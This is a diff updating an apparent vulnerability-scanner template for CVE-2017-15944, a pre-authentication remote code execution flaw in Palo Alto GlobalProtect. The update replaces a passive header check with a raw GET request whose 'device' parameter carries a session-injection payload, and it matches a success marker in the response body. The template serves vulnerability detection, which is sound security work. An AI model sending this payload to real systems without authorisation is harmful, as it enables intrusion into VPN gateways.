Updated POC for CVE-2017-15944

cves/2017/CVE-2017-15944.yaml

@@ -2,23 +2,27 @@ id: CVE-2017-15944
 
 info:
   name: PreAuth RCE on Palo Alto GlobalProtect
-  author: emadshanab
-  reference: http://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html
+  author: emadshanab,milo2012
+  reference: |
+      - https://www.exploit-db.com/exploits/43342
+      - http://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html
   severity: high
-  tags: cve,cve2017,rce,vpn,paloalto
+  tags: cve,cve2017,rce,vpn,paloalto,globalprotect
 
 requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/global-protect/portal/css/login.css"
+  - raw:
+      - |
+        GET /esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337"; HTTP/1.1
+        Host: {{Hostname}}
+        Cookie: PHPSESSID={{randstr}};
 
     matchers-condition: and
     matchers:
       - type: word
         words:
-          - "Last-Modified: Sun, 10 Sep 2017 16:48:23 GMT"
-        part: header
+          - "@start@Success@end@"
+        part: body
 
       - type: status
         status:
-          - 200
+          - 200